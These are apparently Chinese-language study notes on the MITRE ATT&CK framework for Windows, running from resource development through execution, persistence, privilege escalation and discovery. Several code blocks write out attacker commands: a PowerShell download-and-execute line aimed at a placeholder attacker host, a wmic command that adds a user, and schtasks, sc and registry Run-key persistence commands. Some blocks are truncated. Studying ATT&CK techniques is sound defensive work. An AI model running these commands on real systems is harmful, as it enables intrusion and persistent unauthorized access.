Mitre ATT&CK Framework Note (Windows oriented)

一、 資源開發 (Resource Development)

此階段涉及攻擊者為支援後續攻擊行動而建立、購買或入侵所需的資源，包括基礎設施、帳戶和能力。

1.1 基礎設施獲取 (Acquire Infrastructure)

攻擊者會建立和購買域名、伺服器等基礎設施來支援其活動。

- **域名 (Domains):** 用於網路釣魚、C2 通訊。進階技術包括：
  - **同形異義字/錯別字搶註 (Homoglyph/Typosquatting):** 例如，使用 `g00gle.com` 模仿 `google.com` 。
  - **IDN/同形異義字攻擊 (IDN/Homograph Attacks):** 利用 Unicode 字元來混淆域名，例如 `apple.com` 可能被 `xn--pple-43d.com` 模仿。
- **虛擬私人伺服器 (Virtual Private Servers):** 提供匿名且可擴展的基礎設施，常用於架設 C2 伺服器或攻擊跳板。
- **惡意廣告 (Malvertising):** 透過合法廣告網路投放惡意廣告，利用地理圍欄 (Geofencing) 和模糊處理 (Cloaking) 逃避偵測。

1.2 帳戶操作 (Compromise Accounts)

攻擊者透過入侵或建立帳戶來取得存取權限。

- **入侵帳戶 (Compromise Accounts):** 針對電子郵件和雲端服務帳戶，常用手段有：
  - **憑證填充 (Credential Stuffing):** 使用從資料外洩中獲得的帳號密碼，嘗試登入其他系統。
  - **OAuth 令牌濫用 (OAuth Token Abuse):** 誘騙使用者授權惡意應用程式，從而竊取存取令牌 (Access Token)。
- **建立帳戶 (Establish Accounts):** 建立虛假的社群媒體形象，或使用拋棄式號碼和身份產生器來註冊技術設施帳戶。

1.3 能力開發 (Develop Capabilities)

攻擊者開發或取得惡意軟體、漏洞利用程式。

- **開發能力 (Develop Capabilities):**
  - **客製化惡意軟體 (Custom Malware):** 具有模組化、多態程式碼，並結合「依賴系統工具生存」(Living-off-the-Land) 和反分析功能。
  - **程式碼簽署 (Code Signing):** 竊取合法的程式碼簽署憑證為惡意軟體簽名，以繞過安全軟體偵測。
- **取得能力 (Obtain Capabilities):** 透過地下市場購買「惡意軟體即服務」(MaaS) 或「零日漏洞」(Zero-Day)。

```
A zero-day refers to a newly discovered security vulnerability in software or hardware for which
```

二、 初始入侵 (Initial Access)

此階段代表攻擊者首次成功進入目標網路或系統。

2.1 漏洞利用公共應用程式 (Exploit Public-Facing Application)

利用對外開放的應用程式漏洞獲取存取權。

- **目標應用程式:**
  - **網站伺服器:** SQL 注入 (SQLi)、遠端程式碼執行 (RCE)、檔案上傳漏洞。
  - **標準網路服務:** 針對 SMB、SSH、FTP 等協定的已知漏洞進行利用。
  - **雲端和容器:** 針對 VMware vCenter、Docker API、Kubernetes API 等的設定錯誤或漏洞。

2.2 外部遠端服務 (External Remote Services)

利用 VPN、VDI、WinRM 等外部遠端服務獲取存-取權。

- **服務與攻擊向量:**
  - **VPN 服務:** 透過憑證填充、密碼噴灑或利用 MFA 的漏洞（如 MFA 피로 공격）進行攻擊。
  - **虛擬桌面基礎設施 (Citrix/VDI):** 濫用已發布的應用程式或進行會話劫持。
  - **Windows 遠端管理 (WinRM):** 利用 PowerShell 遠端執行功能進行橫向移動。
  - **遠端桌面 (RDP):** 透過弱密碼爆破或利用協定漏洞 (如 BlueKeep)。

2.3 透過可移除媒體複製 (Replication Through Removable Media)

利用 USB 等可移除媒體傳播惡意軟體。

- **Implementation:**
  - **Autorun 濫用:** 利用 Windows 的自動執行功能，在插入 USB 時執行惡意程式碼。
  - **檔案系統劫持:** 將惡意程式碼偽裝成合法文件，或利用 LNK 檔案捷徑觸發。

2.4 供應鏈入侵 (Supply Chain Compromise)

在軟體或硬體開發、分發階段植入惡意程式碼。

- **攻擊面向:**
  - **開發環境入侵:** 入侵編譯器或程式碼版本控制系統。
  - **分發通道攻擊:** 入侵軟體更新伺服器或套件儲存庫。

2.5 有效帳戶 (Valid Accounts)

使用竊取或猜測出的有效帳戶憑證登入系統。

- **帳戶類型:**
  - **預設帳戶 (Default Accounts):** 利用系統或應用程式未更改的預設密碼。
  - **域帳戶 (Domain Accounts):** 透過密碼噴灑或 Kerberoasting 攻擊獲取 Active Directory 中的使用者或服務帳戶。
  - **本地帳戶 (Local Accounts):** 針對本地Admin account 進行暴力破解。
  - **雲端帳戶 (Cloud Accounts):** 針對 Azure AD、AWS IAM 等雲端環境帳戶。

三、 執行 (Execution)

此階段描述攻擊者如何在目標系統中執行惡意程式碼。

3.1 命令和指令碼解釋器

- **PowerShell:**
  - **Implementation:**
    - **無檔案執行:** 直接從網路下載並執行腳本。

```
powershell -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker>
```

        - **Base64 編碼:** 繞過簡單的字串偵測。

          ```
          powershell -enc <Base64EncodedCommand>
          ```

- **Windows 命令殼層 (cmd.exe):**
    - **Implementation:**
        - **批次檔執行:** 執行 `.bat` 或 `.cmd` 檔案。
        - **LOLBins 濫用:** 利用系統內建工具執行命令。

          ```
          wmic process call create "cmd.exe /c net user attacker password /add"
          ```

- **Visual Basic :**
    - **Implementation:**
        - **VBA 巨集:** 在 Office 文件中嵌入惡意 VBA 程式碼，誘騙使用者啟用後執行。
        - **VBScript:** 透過 `.vbs` 腳本執行。

3.2 使用者執行

依賴使用者點擊或執行惡意檔案。

- **惡意連結:** 透過釣魚郵件發送偽裝的連結，常使用 URL 縮短服務或同形異義字攻擊。
- **惡意檔案:** 將 `.exe` 偽裝成 `.pdf.exe` ，或使用帶有惡意巨集的 Office 文件。

3.3 排程任務/工作

- **排程任務 (Windows):**
    - **Implementation:** 使用 `schtasks` 命令建立排程任務以定期執行惡意程式碼。

      ```
      schtasks /create /sc minute /mo 30 /tn "Malicious Task" /tr "C:\path\to\malware.exe"
      ```

3.4 系統服務

- **服務執行 (Windows):**
    - **Implementation:** 建立新的 Windows 服務來執行惡意程式碼，或修改現有服務的路徑。

      ```
      sc create "MaliciousSvc" binPath= "C:\path\to\malware.exe" start= "auto"
      sc start "MaliciousSvc"
      ```

3.5 Windows 管理規範 (WMI)

利用 WMI 在本地或遠端執行命令。

- **Implementation:**
  - **wmic:**

    ```
    wmic /node:"<RemoteComputer>" process call create "malicious.exe"
    ```

  - **PowerShell:**

    ```
    Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "malicious.exe"
    ```

四、 持久性 (Persistence)

此階段描述攻擊者在系統重啟或憑證變更後，如何維持其存取權限。

4.1 開機或登入自動啟動執行 (Boot or Logon Autostart Execution)

- **註冊表運行鍵/啟動資料夾:**
  - **Implementation:** 將惡意程式碼路徑添加到註冊表的 Run/RunOnce 鍵或啟動資料夾中。

    ```
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Malware" /t REG_SZ /d
    ```

- **身份驗證套件:** 將惡意 DLL 註冊為身份驗證套件，由 LSASS 在啟動時載入，可用於竊取憑證。
- **Winlogon 輔助 DLL:** 修改 Winlogon 相關註冊表鍵，使其在使用者登入時載入惡意 DLL。
- **安全支援提供者 (SSP):** 註冊自定義 SSP DLL，由 LSASS 載入以攔截明文密碼。
- **Windows 服務:** 建立一個在系統啟動時自動執行的惡意服務（同執行章節）。

```
DLL(Dynamic Link Library) is a file containing code and data that can be used by multiple progra
```

4.2 劫持執行流程 (Hijack Execution Flow)

- **DLL 搜尋順序劫持:** 將與合法應用程式同名的惡意 DLL 放置在應用程式載入路徑中優先搜尋的目錄，以被優先載入。
- **DLL 側載:** 將惡意 DLL 放置在與合法應用程式相同的目錄中，利用應用程式的載入機制執行。
- **COM 劫持:** 修改 COM 物件在註冊表中的 CLSID 項目，使其指向惡意 DLL 或執行檔。

4.3 修改身份驗證流程 (Modify Authentication Process)

- **密碼過濾 DLL:** 安裝一個由 LSASS 載入的自定義 DLL，用於攔截或修改密碼變更事件。

4.4 Office 應用程式啟動 (Office Application Startup)

- **Office 範本巨集:** 在 Office 啟動目錄中放置帶有惡意巨集的範本檔案 (`.dotm`)。
- **Outlook 規則:** 建立client rule，在收到特定郵件時觸發惡意腳本。

五、 權限提升 (Privilege Escalation)

此階段描述攻擊者如何在已入侵的系統上獲取更高層級的權限。

5.1 使用者帳戶控制 (UAC) 繞過

利用 UAC 實施中的弱點，以管理員權限執行程式碼而無需使用者同意提示。

- **Implementation:**
  - **Fodhelper.exe:** 濫用 `fodhelper.exe` 這個自動提升權限的程式，透過修改註冊表 `HKCU:\Software\Classes\ms-settings\Shell\Open\command` 來執行惡意命令。
  - **Eventvwr.exe:** 同樣透過註冊表劫持來執行惡意程式碼。

5.2 令牌偽裝/竊取

操縱存取令牌 (Access Token) 以提升至高權限使用者的身份。

- **Implementation:**
  - 使用 `Incognito` 或 Metasploit 的 `incognito` 模組來列舉和偽裝系統上其他使用者的令牌。
  - 利用 `SeImpersonatePrivilege` 特權來偽裝服務帳戶令牌。

5.3 DLL 劫持

利用應用程式載入 DLL 的方式，將惡意 DLL 放置在應用程式目錄中以實現權限提升（同持久性章節）。若目標應用程式以高權限運行，則惡意 DLL 也會以高權限執行。

5.4 服務相關漏洞

- **未加引號的服務路徑:** 如果服務路徑未被引號括起來且包含空格，攻擊者可將惡意執行檔放置在路徑的優先位置。
  - **範例:** 服務路徑為 `C:\Program Files\Some Service\service.exe` 。攻擊者可將惡意程式命名為 `Program.exe` 並放置在 `C:\` 下。

- **服務檔案權限弱點:** 如果高權限服務的執行檔權限設定不當，低權限使用者可將其替換為惡意檔案。
- **服務註冊表權限弱點:** 如果服務的註冊表鍵權限設定不當，攻擊者可修改 `ImagePath` 值指向惡意執行檔。

5.5 排程任務

如果攻擊者有權限修改以高權限（如 SYSTEM）運行的排程任務，則可將其執行的命令替換為惡意程式碼。

5.6 進程注入 (Process Injection)

將惡意程式碼注入到正在運行的合法進程中。

- **DLL 注入:** 使用 `CreateRemoteThread() + LoadLibrary()` 將惡意 DLL 注入到其他進程。
- **進程掏空 (Process Hollowing):** 創建一個掛起的合法進程，將其記憶體清空，然後填入惡意程式碼並恢復執行。

六、 獲取 (Discovery)

此階段涉及攻擊者獲取有關系統和網路環境的知識，為後續行動做準備。

6.1 帳戶和使用者相關獲取

- **帳戶獲取:**
  - **本地帳戶:** `net user` , `wmic useraccount get name`
  - **域帳戶:** `net user /domain` , `dsquery user`
- **密碼策略獲取:** `net accounts`
- **權限獲取:**
  - **Local Admin:** `net localgroup administrators`
  - **Domain Admin:** `net group "Domain Admins" /domain`
- **系統所有者/使用者獲取:** `whoami` , `query user` , `quser`

6.2 系統和環境配置獲取

- **查詢註冊表:** `reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall`
- **軟體獲取:** `wmic product get name,version` , `tasklist /svc`
- **系統資訊獲取:** `systeminfo`

- **系統網路配置獲取:** `ipconfig /all`, `route print`, `arp -a`, `netstat -ano`

6.3 網路和資源獲取

- **網路服務獲取：**使用 Nmap 等工具進行內部網路的埠掃描。
- **網路共享獲取：** `net view`, `net share`
- **遠端系統獲取：**使用 `ping` 掃描或 `arp -a` 獲取內網中的其他主機。